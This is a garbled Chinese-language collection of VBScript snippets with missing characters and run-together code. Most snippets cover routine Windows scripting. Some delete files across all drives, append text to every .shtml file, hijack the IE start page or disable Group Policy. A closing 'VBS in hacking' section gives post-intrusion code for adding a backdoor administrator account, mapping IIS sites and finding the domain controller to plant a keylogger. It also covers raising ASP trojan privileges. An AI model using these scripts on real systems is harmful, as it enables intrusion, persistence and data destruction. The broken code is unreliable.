腳本常用經(jīng)典代碼收集

VBS常用經(jīng)典代碼收集：未驗(yàn)證 vbsVBS用途很多處理Word,Excel,等Office文HTTP調(diào)用系統(tǒng)功能（COM），HTML,處理調(diào)用WindowsMediayer并管WindowsLiveMessenger服務(wù)端技術(shù)：ActiveServerPage(ASP)15.16.VBS，以后還會(huì)更新。VBS系統(tǒng)安裝路徑setWshS=WScript.CreateObject("WScript.S")strWinDir=WshS.ExpandEnvironmentStrings("%WinDir%")VBS取C:\ProgramFilesVBS取C:\ProgramFiles\CommonFiles給桌面添加快捷方setgangzi=WScript.CreateObject("WScript.S")strDesktop=gangzi.SpecialFolders("Desktop")setoSLink=gangzi.CreateShortcut(strDesktop&"\InternetoSLink.TargetPath=""oSLink.Description="InternetExplorer"oSLink.IconLocation="%ProgramFiles%\InternetExplorer\iexplore.exe,0"oS給收藏夾添加ConstADMINISTRATIVE_TOOLS=SetobjS=CreateObject("SSetobjFolder=objS.Namespace(ADMINISTRATIVE_TOOLS)SetobjFolderItem=objFolder.SelfSetobjS=WScript.CreateObject("WScript.S")strDesktopFld=objFolderItem.PathSetobjURLShortcut=objS.CreateShortcut(strDesktopFld&"\奮斗objURLShortcut.TargetPath=""刪除指 指定后綴文OnErrorResumeSetfso=CreateObject("Scripting.FileSystemObject")fso.DeleteFile"C:\*.vbs",TrueSetfsoNothingVBSSetoS=CreateObject("WScript.SoS.RegWrite"HKEY_CURRENT_USER\Software\\InternetExplorer\Main\StartPage",""VBS動(dòng)SetoS=CreateObject("Wscript.S")"HKLM\Software\VBS自setcopy1=createobject("scripting.filesystemobject")自己到C盤(pán)的huan.vbs(本 下的game.exe文件到c盤(pán)setcopy1=createobject("scripting.filesystemobject")VBS獲取系統(tǒng)臨DimSetfso=CreateObject("Scripting.FileSystemObject")DimtempfolderConstTemporaryFolder=Settempfolder=Wscript.Echotempfolder就算代碼出錯(cuò)然繼續(xù)執(zhí)行OnErrorResumeNextVBSSetobjS=CreateObject("Wscript.S")VBS郵NameSpace="/cdo/configuration/"Set=CreateObject("CDO.Message").From="發(fā)件 .To="收件 .Subject="Testsendmail.vbs".Textbody="OK!".AddAttaent"C:\1.txt"With.Item(NameSpace&"sendusing")=.Item(NameSpace&"smtpserver")= 郵件服務(wù) .Item(NameSpace&"smtpserverport")=.Item(NameSpace&"smtpauthenticate")=.Item(NameSpace&"sendusername").Item(NameSpace&"sendpassword")="發(fā)件人Endputer=SetobjWMIService=GetObject("winmgmts:\\" puter&SetcolProcessList=objWMIService.ExecQuery("Select*fromWin32_ProcessWhereName=ForEachobjProcessincolProcessListVBS隱藏打開(kāi)(部分瀏覽器無(wú)法隱藏打開(kāi)，而是直接打開(kāi)，適合主流用戶(hù)使createObject("wscript.s").run兼容所有瀏覽器，使用IE絕對(duì)路徑+參數(shù)打開(kāi)，無(wú)法用函數(shù)得到IE裝路徑，只用函數(shù)得到了ProgramFiles徑，應(yīng)該比上面的方法好，但是兩種方Setobjws=WScript.CreateObject("wscript.s")objws.Run"""C:\ProgramFiles\Internet VBS遍歷硬盤(pán)刪除指定文OnErrorResumeNextDimfPathputer=SetobjWMIService=GetObject("winmgmts:\\" puter&SetcolProcessList=objWMIService.ExecQuery("Select*fromWin32_ProcessWhereName=ForEachobjProcessincolProcessListSetobjWMIService=GetObject("winmgmts:"&"{im ate}!\\"& puter&SetcolDirs=objWMIService.ExecQuery("Select*fromWin32_DirectorywherenameLIKE'%c:%'ornameLIKE'%d:%'ornameLIKE'%e:%'ornameLIKE'%f:%'ornameLIKE'%g:%'ornameLIKE'%h:%'ornameLIKE'%i:%'")SetobjFSO=ForEachobjDirinfPath=objDir.Name&"\gangzi.exe"objFSO.DeleteFile(fPath),TrueVBS網(wǎng)卡MAC地Dimmc,moForEachmoInIfmo.IPEnabled=TrueMsgBoxMAC&mo.MacAddressExitForEndIfVBS獲取本機(jī)表主頁(yè)地Setreg=WScript.CreateObject("WScript.S")Explorer\Main\StartPage")MsgBoxVBS遍歷所有磁盤(pán)的所有 OnErrorResumeSetfsoCreateObject("Scripting.FileSystemObject")Co=VbCrLf&"路過(guò)。。。"ForEachiInfso.DrivesIfi.DriveType=2GFfso.GetFolder(i&"\")EndIfSubGF(fol)WhfolDimiForEachiInfol.SubFoldersGFiEndSubWh(fol)DimiForEachiInIfLCase(fso.GetExtensionName(i))="shtml"Thenfso.OpenTextFile(i,8,0).WriteCoEndIfEnd獲取計(jì)算機(jī)所有SetSetobjdrives=fso.Drives'取得當(dāng)前計(jì)算機(jī)的所有磁盤(pán)驅(qū)動(dòng)器ForEachobjdriveInobjdrives MsgBoxobjdriveVBS給本機(jī)所有磁盤(pán) 創(chuàng)建文OnErrorResumeSetSetgangzis=fso.Drives'取得當(dāng)前計(jì)算機(jī)的所有磁盤(pán)驅(qū)動(dòng)器ForEachgangziIngangzis SetTestFile=fso.CreateTextFile(""&gangzi&"\新建文件夾.vbs",Ture) VBS本機(jī)全盤(pán)找到所有123.exe，然后給他們改名321.exesetfs=CreateObject("Scripting.FileSystemObject")foreachdriveinfs.drivesfstraversaldrive.rootfoldersubfstraversal(byvalforeachfolderinthis.subfoldersfstraversalfoldersetfiles=this.filesforeachfilein="123.exe"="321.exe"endVBS寫(xiě)入代碼到粘貼板（先說(shuō)明一下，VBS寫(xiě)內(nèi)容到粘貼板，網(wǎng)上千篇一律都是通過(guò)InternetExplorer.Application對(duì)象來(lái)實(shí)現(xiàn)，但是缺點(diǎn)是在默認(rèn)瀏覽器為非IE彈出瀏覽器，所以費(fèi)了很大的勁找到了這個(gè)代碼來(lái)實(shí)現(xiàn)）str=“這里是你要到剪貼板的字符串Setws=wscript.createobject("wscript.s")ws.run"mshtaQQ動(dòng)發(fā)消息OnErrorResumeNextSetWshS=WScript.CreateObject("WScript.SWshS.run"mshta"tencent://message/?=yes&uin=&Site=&Service=200&sigT=2a39WScript.Sleep3000WshS.SendKeys"^v"WshS.SendKeysVBS文SetobjFSOCreateObject("Scripting.FileSystemObject")SetobjFile=objFSO.GetFile("F:\軟件大賽\show.txt")IfobjFile.Attributes=objFile.AttributesAND2ThenobjFile.Attributes=objFile.AttributesXOR2EndVBS隨機(jī)數(shù)（521是生成規(guī)則，不同的數(shù)字生成的規(guī)則不一樣，可以用于Randomize521msgboxjoin(point,"")VBS桌面IE圖標(biāo)（非快捷方式SetoS=CreateObject("WScript.S")VBS獲取自身文件Setfso=CreateObject("Scripting.FileSystemObject")msgboxWScript.ScriptNameVBSUnicode編碼的文SetobjFSO=CreateObject("Scripting.FileSystemObject")SetobjFile=objFSO.OpenTextFile("gangzi.txt",1,False,-1)strText=objFile.ReadAllWscript.EchostrTextVBS指定編碼的文件（默認(rèn)為uft-8）gangzi變量是要文件的路setstm2=createobject("ADODB.Stream")stm2.Charset="utf-8"stm2.LoadFromFilegangzireadfile=stm2.ReadTextMsgBoxreadfileVBS禁用組策SetoS=CreateObject("WScript.S")VBS寫(xiě)指定編碼的文件（默認(rèn)為uft-8）gangzi變量是要文件的路徑gangzi2是內(nèi)容變 SetStm1=CreateObject("ADODB.Stream")Stm1.Type=2Stm1.Charset="UTF-8"Stm1.Position=Stm1.SizeStm1.WriteTextgangzi2Stm1.SaveToFilegangzi,2setStm1=VBS獲取當(dāng) 下所有文件夾名字（不包括子文件夾Setfso=CreateObject("scripting.filesystemobject")Setf=fso.GetFolder(fso.GetAbsolutePathName("."))Setfolders=f.SubFoldersForEachfoInfolderswsh.echofo.NameSetfolders=NothingSetf=nothingSetVBS獲取指 下所有文件夾名字（包括子文件夾DimSetfso=WScript.CreateObject("scripting.filesystemobject")Setfs=fso.GetFolder("d:\")WScript.Echoaa(fs)Functionaa(n)Setf=n.subfoldersForEachuuInfSetop=fso.GetFolder(uu.path)t=t&vbcrlf&op.pathCallEndVBS創(chuàng)建.URL文件（IconIndex參數(shù)不同的數(shù)字代表不同的圖標(biāo)，具體請(qǐng)S32.dll里面的所有圖標(biāo)setfso=createobject("scripting.filesystemobject")SetTestFile=fso.CreateTextFile("qq.url",Ture)VBShosts（沒(méi)寫(xiě)判斷，無(wú)論存不存在都追加底部）SetfsCreateObject("Scripting.FileSystemObject")path=Setf=f.Write""&vbcrlf&" VBSr\Desktop\NameSpace下面所有鍵的名字并循環(huán)輸出ConstHKLM=&HstrPath=Setoreg=GetObject("Winmgmts:\root\default:StdRegProv")oreg.EnumKeyHKLM,strPath,arrForEachxInarrWScript.EchoVBS創(chuàng)建txt文DimSetfso=CreateObject("Scripting.FileSystemObject")SetTestFile=fso.CreateTextFile("C:\o.txt",Ture)VBS文件夾DimSetfso=CreateObject("Scripting.FileSystemObject")Setfld=fso.CreateFolder("C:\newFolder")VBS判斷文件夾是否存DimSetfso=CreateObject("Scripting.FileSystemObject")If(fso.FolderExists("C:\newFolder"))Thenmsgbox("Folderexists.")setfld=fso.CreateFolder("C:\newFolder")EndIfVBS使用變量判斷文件Dimfso,fldSetfso=CreateObject("Scripting.FileSystemObject")If(fso.FolderExists(drvName&fldName))Thenmsgbox("Folderexists.")setfld=fso.CreateFolder(drvName&fldName)EndIfVBS入Dimfso,TestFile,fileName,drvName,fldNamedrvName=inputbox("Enterthedrivetosaveto:","Driveletter")fldName=inputbox("Enterthefoldername:","Foldername")fileName=inputbox("Enterthenameofthefile:","Filename")Setfso=CreateObject("Scripting.FileSystemObject")msgbox("Folderexists")Setfld=fso.CreateFolder(drvName&fldName)EndIfVBS檢查是否有相同文Dimfso,TestFile,fileName,drvName,fldNamedrvName=inputbox("Enterthedrivetosaveto:","Driveletter")fldName=inputbox("Enterthefoldername:","Foldername")fileName=inputbox("Enterthenameofthefile:","Filename")Setfso=CreateObject("Scripting.FileSystemObject")msgbox("Folderexists")Setfld=fso.CreateFolder(drvName&fldName)EndIfmsgbox("Filealreadyexists.")EndIfVBS、追加DimSetSetopenFile=fso.OpenTextFile("C:\test.txt",2,True) '12表示可寫(xiě)，8openFile.Write"oWorld!"VBS文件ReadAll全DimSetfso=CreateObject("Scripting.FileSystemObject")SetopenFile=fso.OpenTextFile("C:\test.txt",1,True)VBS文件ReadLine一DimSetfso=CreateObject("Scripting.FileSystemObject")SetopenFile=fso.OpenTextFile("C:\test.txt",1,True) '如果行數(shù)超過(guò)文件的行數(shù)，就會(huì)出VBS文件Readn個(gè)字DimSetfso=CreateObject("Scripting.FileSystemObject")Set VBS文件DimSetfso=CreateObject("Scripting.FileSystemObject")VBS刪除文件DimSetfso=CreateObject("Scripting.FileSystemObject")fso.DeleteFolder("C:\newFolder")VBS連續(xù)創(chuàng)建文DimSetfso=CreateObject("Scripting.FileSystemObject")Fori=1To10SetTestFile=fso.CreateTextFile("C:\o"&i&".txt",Ture)VBS根據(jù)計(jì)算機(jī)名隨機(jī)生成字setws=createobject("wscript.s")setwenv=ws.environment("process")FunctionUCharRand(n)Fori=1tonRandomizeASC(MID(RDA,1,1))temp=cint(25*Rnd)temp=tempUCharRand=UCharRand&chr(temp)EndmsgboxUCharRand(LEN(RDA))VBS據(jù)mac成序列號(hào)FunctionEncode(strPass)Dimi,theStr,Fori=1TostrTmp=Asc(Mid(strPass,i,1))theStr=theStr&Abs(strTmp)strPass=theStrtheStr=""DoWhileLen(strPass)>16strPass=JoinCutStr(strPass)Fori=1TostrTmp=CInt(Mid(strPass,i,strTmp=IIf(strTmp>6,Chr(strTmp+60),strTmp)theStr=theStr&strTmpEncode=theStrEndFunctionFunctionJoinCutStr(str)Dimi,theStrFori=1ToIfLen(str)-i=0ThenExittheStr=theStr&Chr(CInt((Asc(Mid(str,i,1))+Asc(Mid(str,+1,1)))/i=i+1JoinCutStr=theStrEndFunctionFunctionIIf(var,val1,val2)Ifvar=TrueThenIIf=val1IIf=val2EndIfEndForEachmoInIfmo.IPEnabled=TrueThentheStr=mo.MacAddressExitForEndIfRandomizeEncode(theStr)FunctionallRand(n)Fori=1tonRandomizeEncode(theStr)temp=cint(25*Rnd)Iftempmod2=0thentemp=temp+97ElseIftemp<9thentemp=temp+48temp=temp+65EndIfallRand=allRand&chr(temp)EndmsgboxallRand(rdnum)VBS連接adslDimSetWsh=WScript.CreateObject("WScript.S")wsh.run"Rasdial連接名字賬號(hào)",false,1DimWshSetWsh=WScript.CreateObject("WScript.Swsh.run"RasdialVBS每隔3秒自動(dòng)更換IP并打開(kāi)實(shí)例（值得一提的是，下面這個(gè)代碼中每次打開(kāi)的都是同一個(gè)IE窗口，也就是每次打開(kāi)的是覆蓋上次打開(kāi)的窗口，如果需要每次打開(kāi)的都是新窗口，直接使用run就可以了）DimSetWsh=WScript.CreateObject("WScript.SSetoIE=fori=1towsh.run"Rasdial/DISCONNECT",false,1wsh.run"Rasdial連接名字賬號(hào)",false,1oIE.Navigate"ht CallSynchronizeIEoIE.Visible=TrueSubOnErrorResumeNextDoWhile(oIE.Busy)WScript.Sleep3000EndVBS來(lái)加管理員帳在注入過(guò)程中明明有了sa帳號(hào)，但是由于net.exe和net1.exe被限制，或其它的不明原因，總是加不了管理員帳號(hào)。VBS在活動(dòng)（adsi）部份有一個(gè)winnt對(duì)像，可以用來(lái)管理本地資源，可以用它不依靠cmd等命令來(lái)加一個(gè)管setwsnetwork=CreateObject("WSCRIPT.NETWORK") Setob=GetObject(os)adsiSetoe=GetObject(os&"/Administrators,group")'屬性,adminSetod=ob.Create("user","lcx")od.SetPassword"123456"'設(shè)置od.SetInfo'保存Setof=GetObject(os&"/lcx",user)oe.addos&"/lcx"這段代碼如果保存為1.vbs，在cmd下運(yùn)行，格式:cscript1.vbs的話(huà)，會(huì)在當(dāng)前系統(tǒng)加一個(gè)名字為lcx，為123456的管理員。當(dāng)然，你可以用記事本來(lái)修改里邊的變量lcx和123456，改成你喜歡的名字和值。用vbs來(lái)列虛擬主機(jī)的有時(shí)旁注成功一個(gè)站，拿到系統(tǒng)權(quán)限后，面對(duì)上百個(gè)虛擬主機(jī)，怎樣才能更快的找到我們目標(biāo)站的物理呢？一個(gè)站一個(gè)站翻看太累，用系統(tǒng)自帶的adsutil.vbsSetObjService=GetObject("IIS://LocalHost/W3SVC")ForEachobj3wInobjserviceIfIsNumeric(obj3w.Name)Then SetwebSite=GetObject("IIS://Localhost/W3SVC/"&obj3w.Name&ListAllWeb=ListAllWeb&obj3w.Name&String(25-Len(obj3w.Name),"") ment&"("&webSite.Path&")"&vbCrLfEndIfWScript.EchoListAllWebSetObjService=Nothing運(yùn)行cscript2.vbs后，就會(huì)詳細(xì)列出IIS里的站點(diǎn)ID、描述、及物理 用VBS快速找到內(nèi)網(wǎng)域的主服務(wù)理員的，整個(gè)內(nèi)網(wǎng)你就可以自由穿行了。主域管理員一般呆在比較重要的機(jī)器上，如果能搞定其中的一臺(tái)或幾臺(tái)，放個(gè)記錄器之類(lèi)，相信總有一天你會(huì)拿到。主域服務(wù)器當(dāng)然是其中最重要一臺(tái)了，如何在成千臺(tái)機(jī)器里判斷出是哪一臺(tái)呢？dos命令像netgroup“admins”/可以做vbsadsisetobj=GetObject("LDAP://rootDSE")wscript.echoobj.servername只用這兩句代碼就足夠了，運(yùn)行cscript3.vbs，會(huì)有結(jié)果的。當(dāng)然，無(wú)論是dos命令或vbs，你前提必須要在域用戶(hù)的權(quán)限下。好比你得到了一個(gè)域用戶(hù)的帳號(hào)，你可以用p ec.exe-u-pcmd.exe這樣的格式來(lái)得到域用戶(hù)的s，或你的木馬本來(lái)就是與桌面交互的，登陸你木馬s的又是域用戶(hù)，vbs的在中的作用當(dāng)然不只這些，當(dāng)然用js或其它工具也可以實(shí)現(xiàn)我上述代碼的功能；不過(guò)這個(gè)專(zhuān)欄定下的題目是vbs在hacking中的妙用，所以我們vbsvbsWebS提權(quán)用的VBS代asp木馬一直是搞的朋友喜歡使用的工具之一,但由于它的權(quán)限一般都比較IWAM_NAME通過(guò)asp木馬得到mssql數(shù)據(jù)庫(kù)的權(quán)限,或拿到ftp的信息,又或者說(shuō)是替vbsasp的權(quán)限，代碼如下asp木馬一直是搞的朋友喜歡使用的工具之一,但由于它IWAM_NAMEaspmssqlftpaspsetwsh=createobject("wscript.s")'創(chuàng)建一個(gè)wsh對(duì)a=wsh.run("cmd.exe/ccscript.exeC:\Inetpub\AdminScripts\adsutil.vbsset/W3SVC/InProcessIsapiAppsC:\WINNT\system32\inetsrv\ssinc.dllC:\WINNT\syste